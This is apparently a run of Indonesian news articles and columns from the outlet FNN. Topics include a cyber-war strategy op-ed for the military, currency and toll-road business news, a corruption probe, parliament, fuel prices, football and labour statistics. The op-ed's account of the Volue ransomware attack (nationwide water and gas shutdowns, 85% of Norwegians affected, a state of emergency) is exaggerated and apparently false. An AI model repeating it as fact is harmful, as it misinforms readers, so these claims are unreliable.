militer, dan ekonomi. Serangan ini menggunakan berbagai jenis senjata: virus, worm, Trojan horse, ransomware, operasi penolakan layanan (DDoS) dlsb. Meski senjata-senjata ini diukur dalam kilobyte, tapi sangat efektif dan dapat menimbulkan kerusakan parah dan kerugian yang banyak. Pada masa pandemi COVID-19 sekarang ini, serangan siber semakin intensif. Trend Micro Research pada September 2021 melaporkan bahwa serangan siber, seperti ransomware semakin intensif dan canggih. Sektor pemerintahan menjadi target utama disusul sektor perbankan, kesehatan, dan makanan. Ransomware “Ryuk” menyerang Volue, perusahaan teknologi energi terbarukan Norwegia pada 5 Mei 2021. Puluhan terabyte data perusahaan terenkripsi otomatis. Volue menutup seluruh fasilitas pelayanan dan menghentikan operasi untuk sementara. Fasilitas pengolahan air dan air di 200 kota ditutup. Pasokan gas dihentikan. Kepanikan publik meluas. Lebih dari 85 terpengaruh populasi penduduk Norwegia terpengaruh. Negara menyatakan keadaan darurat. Selang dua hari, perusahaan distribusi jalur pipa minyak Amerika Serikat, Colonial Pipeline, diretas oleh ransomware "DarkSide". Setengah wilayah Pantai Timur Amerika mengalami kelangkaan bensin, solar dan bahan bakar jet selama, panic buying terjadi. Gubernur Georgia menyatakan keadaan darurat. Colonial membayar 75 Bitcoin (5 juta dolar AS) kepada peretas. Kedua contoh di atas menunjukkan betapa daya rusak serangan siber, seperti ransomware "Ryuk", "DarkSide" dan sejenisnya, ini sangat luar biasa. Meskipun objek yang diserang bukan entitas negara secara langsung tapi berpengaruh terhadap stabilitas sebuah negara secara keseluruhan. Indonesia juga tak lepas dari sasaran serangan siber. Disamping pengguna internet aktif di negara ini mencapai 212 juta (APJII: 2021), server yang dimiliki Indonesia masih terbatas tingkat keamanannya. Terlebih, Indonesia bukan merupakan negara produsen teknologi. Kerawanan dalam hal penyadapan dan pengintaian pada perangkat elektronik masih cukup tinggi. Dalam konteks perkembangan di atas, Tentara Nasional Indonesia (TNI) sebagai garda depan pertahanan nasional perlu menyusun strategi dan inovasi untuk menghadapi cyber war. Pertama, diplomasi siber aktif. Diplomasi dianggap sebagai jembatan antara diplomasi publik (media) dan diplomasi formal (pemerintah). Diplomasi siber mencakup berbagai agenda diplomatik, seperti membangun komunikasi dan dialog antara aktor negara dan non-negara; pencegahan perlombaan senjata siber; pengembangan norma global; dan promosi kepentingan nasional di dunia siber melalui kebijakan keamanan siber dan strategi keterlibatan. TNI ke depan agar lebih aktif dalam memimpin diplomasi siber. Kedua, Pengembangan Intelijen Siber. Salah satu cara negara untuk memastikan kelangsungan hidupnya adalah dengan mengumpulkan informasi tentang musuh dan bahkan sekutunya. Di masa lalu, negara-negara mengirim mata-mata untuk mengumpulkan informasi penting dan rahasia. Saat ini teknologi telah memfasilitasi kemampuan untuk memata-matai, tidak hanya pada pengambil keputusan, tetapi juga pada orang. Negara-negara yang memiliki, dan mampu menghasilkan teknologi baru dapat merekam jutaan panggilan telepon, memantau miliaran email setiap hari, dan menyimpan data pribadi individu. Tapi, tantangan sesungguhnya bagi TNI adalah bagaimana menganalisa data-data yang jumlahnya sangat banyak tersebut untuk pertimbangan dalam pengambilan keputusan. Ketiga, Perang Psikologi Siber. Media sosial seperti pedang bermata dua, di satu sisi dapat digunakan untuk memudahkan komunikasi, tetapi di sisi yang lain dapat digunakan sebagai senjata untuk menyebarkan ide dan disinformasi. Oleh karena itu, TNI perlu turut berperan serta menjernihkan media sosial dari upaya-upaya yang mengancam integrasi bangsa. Urgensi Interoperabilitas Interoperabilitas dalam dunia militer berkaitan dengan "C4ISR" (Command, Control, Communications, Computers, Intelligence, Surveillance, Reconnaissance) dimana interoperabilitas adalah peningkat kemampuan utama (key enabler) pelaksanaan operasi militer yang efektif, kolaboratif, dan multi-organisasi atau satuan dalam keseluruhan spektrum operasi. Dalam konteks pertahanan dari serangan siber, interoperabilitas di tubuh TNI tidak hanya berlaku lintas matra, tetapi lintas organisasi pertahanan, organisasi militer internasional dan unit dalam TNI itu sendiri-utamanya unit TNI yang menangani dunia siber. Interoperabilitas antar-layanan dan sistem akan membantu TNI dalam hal kecepatan penerimaan data dan penguatan kerjasama dengan negara-negara lain yang peralatannya sudah maju. Pada akhirnya, TNI perlu mengambil langkah-langkah serius untuk meningkatkan strategi dan interoperabilitas dalam pengembangan organisasi, teknologi, kebijakan dan doktrin. Panglima TNI terpilih memiliki tugas yang tidak ringan untuk menyeimbangkan itu semua demi menangkal serangan siber. Penulis Adalah Pengamat Intelijen, Pertahanan dan Keamanan

Rupiah Diperkirakan Melemah Seiring Menguatnya Data Tenaga Kerja AS

Jakarta, FNN - Nilai tukar (kurs) rupiah yang ditransaksikan antarbank di Jakarta pada awal pekan diperkirakan akan melemah, seiring menguatnya data tenaga kerja Amerika Serikat (AS). Rupiah pagi ini masih menguat 8 poin atau 0,06 persen ke posisi Rp 14.323 per dolar AS dibandingkan posisi pada penutupan perdagangan sebelumnya Rp 14.331 per dolar AS. "Pasar hari ini akan lebih banyak terpengaruh oleh perkembangan global. Dolar cenderung mengalami penguatan setelah data ketenagakerjaan AS tercatat lebih baik dari perkiraan," kata Analis Pasar Uang Bank Mandiri Rully Arya saat dihubungi di Jakarta, Senin. Laporan Departemen Tenaga Kerja pada Jumat (5/11) menunjukkan pekerjaan AS meningkat lebih kuat dari yang diperkirakan pada Oktober karena rintangan dari lonjakan infeksi COVID-19 selama musim panas mereda. Pengusaha AS menambahkan 531.000 pekerjaan pada Oktober, lebih tinggi dari kenaikan 450.000 pekerjaan yang diharapkan. Gubernur bank sentral AS, Federal Reserve (Fed) Jerome Powell sebelumnya mengatakan dia tidak terburu-buru untuk menaikkan biaya pinjaman, karena "masih ada alasan untuk mencapai pekerjaan maksimum." Bank sentral AS juga telah mengumumkan pengurangan bulanan sebesar 15 miliar dolar dari pembelian aset bulanan senilai 120 miliar dolar. Dari domestik, jumlah kasus harian COVID-19 pada Minggu (7/11) kemarin mencapai 444 kasus sehingga total jumlah kasus terkonfirmasi positif COVID-19 mencapai 4,25 juta kasus. Sedangkan jumlah kasus meninggal akibat terpapar COVID-19 mencapai 11 kasus sehingga totalnya mencapai 143.545 kasus. Adapun untuk jumlah kasus sembuh bertambah sebanyak 587 kasus sehingga total pasien sembuh mencapai 4,09 juta kasus. Dengan demikian, total kasus aktif COVID-19 mencapai 10.825 kasus. Untuk vaksinasi, jumlah masyarakat yang sudah disuntik vaksin dosis pertama mencapai 125,11 juta orang dan vaksin dosis kedua 78,99 juta orang dari target 208 juta orang yang divaksin. Rully mengatakan rupiah hari ini bergerak ke kisaran Rp14.275 per dolar AS hingga Rp14.335 per dolar AS. Pada Jumat (5/11) rupiah ditutup menguat 35 poin atau 0,24 persen ke posisi Rp 14.331 per dolar AS dibandingkan posisi pada penutupan perdagangan sebelumnya Rp 14.366 per dolar AS. (mth)

Jasa Marga Catat Laba Bersih Kuartal III Tahun Ini Rp 749,42 Miliar

Jakarta, FNN - PT Jasa Marga (Persero) Tbk tetap membukukan kinerja positif dengan laba bersih kuartal III tahun ini sebesar Rp749,42 miliar di tengah meningkatnya kasus Covid-19 pada Juli 2021 . Corporate Secretary Jasa Marga Reza Febriano mengatakan melalui keterangan tertulis di Jakarta, Senin, kinerja kuartal III 2021 mengalami perbaikan yang tercermin dari pendapatan usaha yang naik sebesar 20,75 persen karena telah beroperasinya ruas-ruas jalan tol baru dan didukung oleh meningkatnya mobilisasi masyarakat. Tidak hanya itu, EBITDA juga mengalami peningkatan sebesar 29,39 persen seiring dengan meningkatnya pendapatan tol pada kuartal III 2021 yang menyebabkan peningkatan EBITDA Margin 65,07 persen. Jasa Marga saat ini mengoperasikan total 1.246 km jalan tol yang merupakan 51 persen dari total jalan tol di Indonesia dengan total konsesi jalan tol mencapai 1.603 km. Sepanjang tahun 2021 hingga kuartal III, Jasa Marga telah mengoperasikan jalan tol sepanjang 55,94 km, antara lain Jalan Tol BORR Seksi IIIA (Simpang Yasmin-Simpang Semplak) sepanjang 2,85 km, Tol Cinere-Serpong Seksi I (Serpong-Pamulang) sepanjang 6,50 km, Tol Cengkareng-Batuceper-Kunciran sepanjang 14,19 km, Tol Balikpapan-Samarinda Seksi I dan V (Balikpapan-Samboja) sepanjang 32,40 km. Jasa Marga menargetkan masih ada penambahan jalan tol operasi hingga akhir tahun 2021 yaitu Jalan Tol Manado-Bitung Ruas Danowudu-Bitung yang ditargetkan beroperasi pada kuartal IV. Dengan turunnya level PPKM di berbagai daerah serta melihat pergerakan mobilitas masyarakat sejak September 2021, Jasa Marga memproyeksikan hingga akhir tahun 2021 tren peningkatan lalu lintas masih terjadi di Jalan Tol Jasa Marga Group. Hal ini berdasarkan histori realisasi volume lalu lintas harian rata-rata (LHR) pada Oktober 2021, Jasa Marga mencatat peningkatan LHR Jalan Tol Jasa Marga Group di seluruh Indonesia sebesar 63,03 persen jika dibandingkan dengan LHR pada masa Pemberlakukan Pembatasan Kegiatan Masyarakat (PPKM) Darurat pada Juli 2021 dan 25,23 persen pada masa PPKM Level 4 pada Agustus 2021. Sementara itu, jika LHR Oktober 2021 dibandingkan dengan LHR September 2021 atau masa PPKM level 3 meningkat sebesar 6,64 persen. Adapun tiga ruas Jalan Tol Jasa Marga Group dengan LHR tertinggi di bulan Oktober 2021 adalah Jalan Tol Dalam Kota dengan 492 ribu kendaraan, Jalan Tol Jakarta – Cikampek dengan 450 ribu kendaraan dan Jalan Tol Jagorawi dengan 394 ribu kendaraan. Untuk mengantisipasi tren peningkatan volume lalu lintas, Jasa Marga selalu berkomitmen memberikan pelayanan yang terbaik kepada pengguna jalan, termasuk di masa pandemi, dengan tetap menjaga pemenuhan Standar Pelayanan Minimal di jalan tol. Di antaranya yaitu, memastikan pelayanan lalu lintas, pelayanan transaksi hingga pelayanan konstruksi tetap optimal, dengan tetap menerapkan protokol kesehatan dalam pelaksanaannya. Tidak hanya itu, Jasa Marga juga selalu meningkatkan pelayanan berbasis teknologi, salah satunya saat ini dengan melakukan pengembangan fitur Mobile Apps Travoy untuk cek saldo dan top-up uang elektronik, hingga menampilkan struk transaksi di jalan tol dalam bentuk digital. (mth)

KPK Telusuri Aset Puput Tantriana dan Suami Tak Tercantum LHKPN

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) menelusuri berbagai aset tersangka Bupati Probolinggo nonaktif Puput Tantriana Sari (PTS) dan suaminya, yaitu Anggota DPR RI Hasan Aminuddin (HA), yang tidak tercantum dalam Laporan Harta Kekayaan Penyelenggara Negara (LHKPN). KPK, Jumat (5/11), memeriksa Camat Kraksaan, Kabupaten Probolinggo Ponirin, dan Kepala Bagian Umum Sekretariat Daerah Kabupaten Probolinggo Heri sebagai saksi untuk tersangka Puput Tantriana Sari dalam penyidikan kasus dugaan gratifikasi dan Tindak Pidana Pencucian Uang (TPPU). "Jumat (5/11) bertempat di Polres Probolinggo, Jawa Timur, tim penyidik telah memeriksa para saksi. Tim penyidik masih terus menggali terkait dengan dugaan kepemilikan beberapa aset dari tersangka PTS dan HA yang tidak dilaporkan dan tercantum dalam LHKPN di KPK," kata Pelaksana Tugas Juru Bicara KPK Ali Fikri dalam keterangannya, di Jakarta, Senin. Kasus gratifikasi dan TPPU yang menjerat Puput Tantriana Sari merupakan pengembangan dari kasus dugaan korupsi seleksi jabatan di lingkungan Pemkab Probolinggo Tahun 2021. KPK telah menetapkan 22 tersangka dalam kasus dugaan korupsi seleksi jabatan tersebut. Sebagai penerima, yaitu Puput Tantriana Sari, Hasan Aminuddin yang merupakan suami Puput dan juga pernah menjabat sebagai Bupati Probolinggo, Doddy Kurniawan (DK) selaku Aparatur Sipil Negara (ASN)/Camat Krejengan, Kabupaten Probolinggo, dan Muhammad Ridwan (MR) selaku ASN/Camat Paiton, Kabupaten Probolinggo. Sementara 18 orang sebagai pemberi suap merupakan ASN Pemkab Probolinggo. Dalam konstruksi perkara, KPK menjelaskan bahwa pemilihan kepala desa serentak tahap II di wilayah Kabupaten Probolinggo yang awalnya diagendakan pada 27 Desember 2021 mengalami pengunduran jadwal. Adapun terhitung 9 September 2021 terdapat 252 kepala desa dari 24 kecamatan di Kabupaten Probolinggo yang selesai menjabat. Untuk mengisi kekosongan jabatan kepala desa tersebut, maka akan diisi oleh penjabat (pj) kepala desa (kades) yang berasal dari para ASN di Pemkab Probolinggo, dan untuk pengusulannya dilakukan melalui camat. KPK menyebut ada persyaratan khusus di mana usulan nama para pj kades harus mendapatkan persetujuan Hasan yang juga suami Puput dalam bentuk paraf pada nota dinas pengusulan nama sebagai representasi dari Puput, dan para calon pj kades juga diwajibkan memberikan dan menyetorkan sejumlah uang. Adapun tarif untuk menjadi pj kades di Kabupaten Probolinggo sebesar Rp20 juta per orang ditambah dalam bentuk upeti penyewaan tanah kas desa dengan tarif Rp5 juta per hektare. Setelah ditemukan bukti permulaan yang cukup, KPK juga menetapkan Puput Tantriana Sari dan suaminya sebagai tersangka kasus dugaan penerimaan gratifikasi dan TPPU dari pengembangan kasus seleksi jabatan tersebut. (mth)

Sebanyak 2.179 Siswa Ikut Kompetisi Sains Nasional 2021

Jakarta, FNN - Sebanyak 2.179 siswa yang terdiri atas 544 siswa sekolah dasar/madrasah ibtidaiyah, 735 siswa sekolah menengah pertama/madrasah tsanawiyah, dan 900 sekolah menengah atas/madrasah aliyah mengikuti Kompetisi Sains Nasional Tahun 2021. Pusat Prestasi Nasional Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi menggelar Kompetisi Sains Nasional (KSN) Tahun 2021 secara daring dari 7 hingga 13 November 2021. Sebagaimana dikutip dalam siaran pers kementerian di Jakarta, Senin, Direktur Jenderal Pendidikan Anak Usia Dini, Pendidikan Dasar, dan Pendidikan Menengah Jumeri mengatakan bahwa para peserta KSN 2021 tidak hanya beradu kemampuan dalam bidang sains tetapi juga diajak mendalami manfaat sains. Jumeri mengemukakan bahwa kecintaan pada sains bisa membentuk pola pikir yang lebih runut, sistematis, dan rasional pada siswa. "Ilmu atau sains adalah keistimewaan yang menjadikan manusia unggul terhadap makhluk-makhluk lainnya dalam mengelola dan mengembangkan sumber daya alam di muka bumi ini,” katanya. Dalam KSN 2021, lomba sains tingkat sekolah dasar/madrasah ibtidaiyah meliputi lomba Matematika dan Ilmu Pengetahuan Alam (IPA) dengan masing-masing 272 peserta. Lomba sains tingkat sekolah menengah pertama/madrasah tsanawiyah meliputi lomba Matematika, IPA, dan Ilmu Pengetahuan Sosial (IPS) dengan masing-masing 245 peserta. Di tingkat sekolah menengah atas/madrasah aliyah, bidang yang dilombakan meliputi Matematika, Fisika, Kimia, Biologi, Informatika/Komputer, Astronomi, Ekonomi, Kebumian dan Geografi dengan masing-masing 100 peserta. Pelaksana Tugas Kepala Pusat Prestasi Nasional Asep Sukmayadi mengatakan bahwa peserta KSN 2021 telah melalui seleksi di tingkat sekolah, kabupaten/kota, dan provinsi, yang dilaksanakan sejak Juni 2021. Jumlah siswa yang mengikuti seleksi peserta KSN 2021 seluruhnya 228.906 orang. Seleksi dilaksanakan secara daring dan luring sesuai protokol kesehatan untuk mencegah penularan COVID-19. Di antara siswa yang lolos seleksi menjadi peserta KSN 2021 ada Kenzie Elysia Nazneen dari Sekolah Indonesia Luar Negeri di Riyadh, Arab Saudi. “Harapannya saya bisa menjadi juara satu,” kata Kenzie, siswa SD Kelas VI yang ikut kompetisi IPA. Sementara itu, Bagas Afnan Rasyid dari SMA Majelis Tafsir Al-Quran Surakarta mempersiapkan diri untuk mengikuti KSN 2021 di bidang informatika. “Insya Allah usaha saya sudah maksimal. Saya sudah berusaha, tidak pesimis terlebih dahulu, dan hasilnya akan menjadi yang terbaik,” tutur Bagas. (mth)

DPR RI Gelar Paripurna Ambil Keputusan Calon Panglima TNI

Jakarta, FNN - DPR RI diagendakan menggelar Rapat Paripurna dengan agenda laporan Komisi I DPR RI atas hasil uji kelayakan dan kepatutan terhadap calon Panglima TNI dilanjutkan dengan pengambilan keputusan, di Jakarta, Senin. Rapat Paripurna tersebut direncanakan digelar di Gedung Nusantara II, Kompleks Parlemen sekitar pukul 10.00 WIB. Sebelumnya, Komisi I DPR RI menyetujui pencalonan Jenderal TNI Andika Perkasa sebagai panglima TNI menggantikan Marsekal TNI Hadi Tjahjanto. "Memberikan persetujuan terhadap pengangkatan calon panglima TNI kepada Jenderal TNI Andika Perkasa sebagai panglima TNI," kata Ketua Komisi I DPR RI Meutya Hafid dalam rapat dengar pendapat umum (RDPU) di Gedung DPR, Senayan, Jakarta, Sabtu (6/11). Meutya menyatakan persetujuan itu berdasarkan hasil Kesimpulan rapat internal komisi I DPR RI, setelah mendengarkan pemaparan visi dan visi calon panglima TNI dan pandalaman fraksi-fraksi di komisi I. Proses verifikasi faktual pun dilakukan Komisi I DPR RI dengan mendatangi kediaman Jenderal Andika Perkasa di kawasan Jakarta Selatan, pada Minggu (7/11). Wakil Ketua Komisi I DPR RI Abdul Kharis Almasyhari mengatakan dalam verifikasi faktual tersebut, Komisi I DPR RI tidak menemukan temuan yang berarti. Hal itu menurut dia karena kunjungan tersebut ingin melihat kehidupan keseharian calon Panglima TNI di kediamannya. (mth)

Harga Pertalite di Sorong Tembus Rp 50 Ribu Per Liter

Sorong, FNN - Harga BBM jenis Pertalite tembus Rp50 ribu per liter di Sorong, Papua Barat. Kenaikan harga BBM oleh pengecer di sepanjang jalan di Kota Sorong terjadi karena kelangkaan di sejumlah SPBU sejak Jumat (5/11). Kenaikan harga BBM oleh pengecer di jalan-jalan kota Sorong tersebut disebabkan kelangkaan di SPBU sejak Jumat (5/11). Harga pertalite pada pengecer semula Rp30.000 dan terus bergerak hingga Rp50.000/liter pada Sabtu sore. Hamid Amaro salah seorang pengecer BBM di Jalan Malanu kota Sorong mengatakan bahwa ini adalah kesempatan mencari keuntungan lebih karena terjadi antrian di seluruh SPBU kota Sorong dan banyak orang yang tidak mau antri di SPBU memilih membeli eceran. Dia mengaku mendapatkan pertalite dari SPBU sejak pagi dan juga ikut antri menjelang siang hari bersama masyarakat lainnya. Sehingga kesempatan menjual dengan menaikkan harga untuk keuntungan lebih. Unit Manager Communication, Relations dan CSR Regional Papua Maluku PT Pertamina Sub Holding Commercial Trading, Edi Mangun saat di konfirmasi mengatakan bahwa Stok BBM di SPBU kota Sorong sudah kembali normal melayani masyarakat. Ia menjelaskan bahwa kelangkaan BBM di Sorong Jumat (5/11) dikarenakan terjadinya rotasi kapal tanker pengangkut BBM milik Pertamina untuk wilayah Papua, Papua Barat, Maluku akibat cuaca buruk. Menurut dia, pergerakan kapal dari satu titik ke titik yang lain terkendala cuaca sehingga menyebabkan keterlambatan pendistribusian. Karena itu, tim terminal pengisian BBM melakukan pengendalian stok. Kemarin sore petugas di terminal pengisian BBM Jayapura, Wayame dan Sorong serta depot-depot lain telah berkordinasi agar situasi kelangkaan yang terjadi dapat tersebut kembali normal. "Kami meminta maaf atas terjadinya kelangkaan bahan bakar minyak di wilayah Sorong," katanya Edi menambahkan bawa kewenangan untuk menindak dan proses hukum para pelaku ini bulan BBM adalah kewenangan Kepolisian dan penegak hukum lainnya sesuai undang-undang Migas. (sws, ant)

Berkhianat pada Rakyat akan Merendahkan Derajat

By M Rizal Fadillah KETIKA diamanahi jabatan khususnya jabatan politik, seseorang sering menganggap hal itu sebagai predikat mulia yang menyebabkan ia harus dihargai dan dihormati. Posisi yang semakin tinggi membuat diri semakin tinggi hati. Kepada bawahan main perintah, kemana-mana perlu pengawalan, bersalaman tegak yang lain membungkuk, serta menggemari upeti sebagai bukti dari layanan. Sebenarnya jabatan tinggi tidak mutatis mutandis dengan derajat yang semakin tinggi. Pragmatisme dapat memerosotkan harga diri. Jabatan birokrasi Pemerintahan atau Parlemen baik pusat maupun daerah sering mengubah gaya hidup. Menjadi orang kuasa baru dengan dandanan baru, mobil baru, rumah baru, serta bersikap elitis bagai selebritis. Khidmat pada rakyat merupakan jalan untuk meningkatkan kemuliaan diri. Rasulullah SAW adalah pemimpin yang rendah hati. Selalu memperhatikan setiap orang yang bertanya dan tidak berpaling hingga si penanya berpaling. Menyambut setiap orang yang mengulurkan tangan dan tidak melepaskan hingga orang itu melepaskan jabatan tangannya. Tatkala ada delegasi Najasi datang beliau sendiri yang melayani mereka. Ketika Sahabat menyatakan "cukup yang lain saja ya Rosulullah" Jawab beliau "aku ingin membalas sendiri kebaikan mereka". Rendah hati dan khidmah adalah kata kunci. Allah akan tinggikan derajat orang yang berendah hati dalam pergaulan sesama. Malaikat mempertahankan kemuliaannya dengan berendah hati bersujud pada Adam dalam rangka menjalankan perintah. Kening menempel pada tanah. Sebaliknya, Iblis yang tinggi hati dan tidak mau bersujud, maka Allah hinakan dengan sehina-hinanya. Terkutuk dan terbuang. Para pemangku kekuasaan baik sipil maupun militer, birokrasi atau parlemen, Menteri atau Presiden semestinya sepenuhnya berkhidmat pada kepentingan rakyat. Jangan hanya mementingkan diri, kroni, dan oligarkhi di sekitarnya sendiri. Sebab bila demikian, dipastikan sejuta caci maki dari rakyat akan dimuntahkan kepada pemimpin yang abai atau zalim itu. Rosulullah SAW bersabda "yaquulullah tabaaraka wa ta'ala man tawaadha'a lii haakadzaa rafa'tuhu haakadzaa" (Allah Tabaraka wa Ta'ala berfirman 'Barangsiapa rendah hati karena-Ku seperti ini, Aku akan mengangkat derajatnya seperti ini')--HR Muslim. Beliau memberi isyarat dengan tangan kanannya yakni telapak tangan di bawah menempel di tanah dan punggung tangan ke atas. Sementara ketika menyatakan "Aku akan mengangkat derajatnya seperti ini" beliau SAW memposisikan telapak tangannya menghadap ke atas dan mengangkat ke langit. Pemimpin yang seenaknya berbuat, khianat atas amanat, serta angkuh menjalankan kekuasannya, dipastikan esok akan terhinakan dengan borgol dan pakaian pesakitan. Menghadapi pengadilan yang membuka borok kebodohan dan kejahatan tersembunyi nya. Menyesali atas kejumawaan. Jabatan sering tidak dimanfaatkan untuk kepentingan orang banyak, tetapi orang banyak dimanfaatkan agar ia tetap menjadi orang penting. Begitulah watak penghianat rakyat. *) Kolumnis tetap FNN, Pemerhati Politik dan Keagamaan

Derbi Della Madonnina Imbang, Inter Gagalkan Upaya Milan ke Puncak

Jakarta, FNN - Inter Milan menggagalkan upaya AC Milan naik ke puncak klasemen Liga Italia setelah memaksakan Derbi della Madonnina berakhir imbang 1-1 di Stadion San Siro, Minggu waktu setempat. Milan membuang kesempatan menggusur Napoli yang dalam laga lebih awal ditahan imbang Verona 1-1, dari puncak klasemen. Milan tertahan pada posisi kedua karena tertinggal selisih gol dari Napoli, meski sama-sama memiliki 32 poin. Bagi Inter sendiri, hasil itu menyisakan kekecewaan karena mereka hanya mampu memanfaatkan satu dari dua tendangan penalti yang dihadiahkan oleh wasit Daniele Doveri dalam laga ini. Penalti pertama sudah diperoleh Inter hanya delapan menit setelah kickoff ketika Franck Kessie kehilangan penguasaan bola di dalam kotak terlarang dan berakhir menjatuhkan Hakan Calhanoglu yang terkonfirmasi setelah tinjauan VAR nyaris dua menit lamanya. Calhanoglu menghadapi sendiri bola di titik putih dan tanpa ragu menyarangkan bola ke gawang bekas timnya sendiri untuk membawa Inter memimpin pada menit ke-11. Keunggulan Inter tak bertahan lama setelah enam menit kemudian Milan memanfaatkan bola mati mereka sendiri untuk memaksa Stefan de Vrij mencetak gol bunuh diri. Mengantisipasi tendangan bebas berbahaya kiriman Sandro Tonali, De Vrij berduel udara dengan Fikayo Tomori, tetapi bek asal Belanda itu hanya bisa meneruskan bola ke dalam gawang sendiri. Inter memperoleh hadiah tendangan penalti lagi pada menit ke-25 setelah Fode Ballo-Toure lengah membaca bola dan terpaksa menjatuhkan Matteo Darmian di dalam area terlarang. Kali ini, Lautaro Martinez maju mengampu tugas algojo, tetapi eksekusinya bisa dibaca dan dimentahkan oleh kiper Ciprien Tatarusanu. Rafael Leao yang kerap merepotkan pertahanan Inter beberapa kali mencoba melepaskan tembakan yang memang tepat sasaran, tapi tak sebagian besar arahnya bisa diantisipasi oleh kiper Samir Handanovic. Pada menit ke-44 Ballo-Toure membayar lunas kesalahannya yang membuahkan penalti Inter, dengan penyelamatan krusial tepat di garis gawang untuk menghalau upaya tembakan Nicolo Barella. Hingga separuh awal babak kedua, bola lebih banyak dimainkan di paruh lapangan Milan, tapi Inter tak begitu banyak menciptakan peluang berbahaya kecuali yang dibuang sia-sia oleh Calhanoglu saat menyambut umpan silang terukur kiriman Ivan Perisic pada menit ke-56 dengan tembakan voli yang menyamping dari sasaran. Pada menit ke-72, Samuel Kalulu yang masuk menggantikan Ballo-Toure juga melakukan pekerjaan baik untuk menghalau tembakan jarak dekat Arturo Vidal. Milan tampak lebih hidup dalam sepuluh menit terakhir pertandingan dan Zlatan Ibrahimovic nyaris membawa Rossoneri berbalik unggul lewat eksekusi tendangan bebas yang melesat melewati pagar hidup Inter, tetapi Handonovic cermat membaca bola. Semenit menjelang bubaran Alexis Saelemaekers hampir membuat Milan meraih kemenangan dramatis namun tembakannya yang sudah membuat Handanovic mati langkah berakhir membentur tiang gawang. Bola muntah jatuh ke hadapan Kessie, tetapi gelandang Pantai Gading itu membuang sia-sia peluang emas itu dengan sepakan tak sempurna dan skor 1-1 bertahan sampai peluit bubaran terdengar. Inter yang masih menduduki posisi ketiga klasemen kini mengoleksi 25 poin, masih tertinggal tujuh angka dari Napoli maupun Milan, demikian catatan laman Liga Italia. Setelah jeda internasional dua pekan ke depan, Milan akan bertandang ke Artemio Franchi melawan Fiorentina pada 20 November yang diikuti laga penting bagi Inter sehari berselang menjamu Napoli di Giuseppe Meazza. (sws)

BPS : Penduduk Usia Kerja Terdampak COVID-19 di Kepri 209.506 Orang

Tanjungpinang, FNN - Kepala Badan Pusat Statistik (BPS) Provinsi Kepri Agus Sudibyo mengatakan penduduk usia kerja yang terdampak COVID-19 pada Agustus 2021 sebanyak 209.506 orang, turun sebanyak 79.043 orang atau sebesar 0,27 persen dibandingkan dengan Agustus 2020. "Pandemi COVID-19 mempengaruhi kondisi ketenagakerjaan di Provinsi Kepri,” katanya di Tanjungpinang, Senin. Agus menjelaskan penduduk usia kerja yang terdampak COVID-19 dikelompokkan menjadi empat komponen yaitu, pertama pengangguran karena COVID-19, kedua bukan angkatan kerja (BAK) karena COVID-19, ketiga sementara tidak bekerja karena COVID-19 dan keempat penduduk bekerja yang mengalami pengurangan jam kerja karena COVID-19. Menurutnya kondisi pertama dan kedua merupakan dampak pandemi COVID-19 pada mereka yang berhenti bekerja, sedangkan kondisi ketiga dan keempat merupakan dampak pandemi COVID-19 yang dirasakan oleh mereka yang saat ini masih bekerja. Agus merinci orang pengangguran karena COVID-19 sebanyak 41.275 orang, bukan angkatan kerja (BAK) karena COVID-19 sebanyak 5.889 orang. Sementara tidak bekerja karena COVID-19 sebanyak 11.698 orang dan 150.644 penduduk bekerja yang mengalami pengurangan jam kerja karena COVID-19. "Keempat komponen tersebut mengalami penurunan dibandingkan Agustus 2020. Penurunan terbesar adalah komponen penduduk bekerja yang mengalami pengurangan jam kerja karena COVID-19 sebanyak 74.540 orang," ungkap Agus. Sementara itu, lanjut Agus, Jumlah angkatan kerja pada Agustus 2021 sebanyak 1.207.014 orang, naik 73.238 orang dibanding Agustus 2020. Ini sejalan dengan kenaikan jumlah angkatan kerja, tingkat partisipasi angkatan kerja (TPAK) juga naik sebesar 1,99 persen poin. Adapun tingkat pengangguran terbuka (TPT) Agustus 2021 sebesar 9,91 persen, turun 0,43 persen poin dibandingkan dengan Agustus 2020. Selain itu, penduduk yang bekerja sebanyak 1.087.419 orang, meningkat sebanyak70 819 orang dari Agustus 2020. Lapangan pekerjaan yang mengalami peningkatan persentase terbesar adalah sektor industri pengolahan (2,25 persen poin) dan sektor jasa kesehatan dan kegiatan sosial (0,36 persen poin). Sementara sektor yang mengalami penurunan terbesar, yaitu sektor asa Lainnya (1,48 persen poin) dan transportasi dan pergudangan (0,80 persen poin). Sebanyak 382 824 orang (35,20 persen) bekerja pada kegiatan informal turun 0,21 persen poin dibanding Agustus 2020. "Persentase setengah penganggur naik sebesar 0,42 persen poin, sementara persentase pekerja paruh waktu naik sebesar 3,23 persen poin dibandingkan Agustus 2020," demikian Agus. (sws)

Wakapuspen TNI Dikabarkan Meninggal Dunia

Jakarta, FNN - Wakil Kepala Pusat Penerangan (Wakapuspen) Mabes TNI Laksamana Pertama TNI Tedjo Sukmono meninggal dunia Minggu malam (7/11) tadi. Menurut Kepala Dinas Penerangan TNI Angkatan Laut (Kadispenal) Laksamana Pertama TNI Julius Widjojono, Wakapuspen TNI meninggal dunia di Rumah Sakit Hermina Serpong, Tangerang Selatan, pukul 22.05 WIB karena sakit. Jenazah Tedjo telah dipindahkan ke Rumah Sakit TNI AL (RSAL) dr. Mintohardjo, Bendungan Hilir, Jakarta Selatan. "Saat ini, jenazah almarhum dibawa ke kediamannya di Jalan Harapan I No.14 Komplek TNI AL, Kodamar Kelapa Gading Barat, Jakarta Utara," kata Julius di Jakarta, Senin dinihari. Laksamana Pertama TNI Tedjo Sukmono adala perwira tinggi TNI-AL yang sejak 25 Oktober 2021 mendapatkan promosi jabatan sebagai Deputi bidang Operasi Pencarian dan Pertolongan dan Kesiapsiagaan BNPP (Basarnas). Promosi ini berdasarkan Surat Keputusan Panglima TNI Nomor Kep/943/X/2021 tanggal 25 Oktober 2021 tentang pemberhentian dari dan pengangkatan dalam jabatan di lingkungan TNI. Jabatan lain yang pernah diemban oleh almarhum adalah Komandan Lanal Sibolga (2009-2011), Komandan Satlinlamil Surabaya (2016), Aspers Pangkoarmabar (2016-2017), Sekdisminpersal (2017), Kadisminpersal (2017-2019) dan Komandan Lantamal V/Surabaya (2019-2020). (sws)

Polisi Selidiki Ledakan di Rumah Orang Tua Veronica Koman

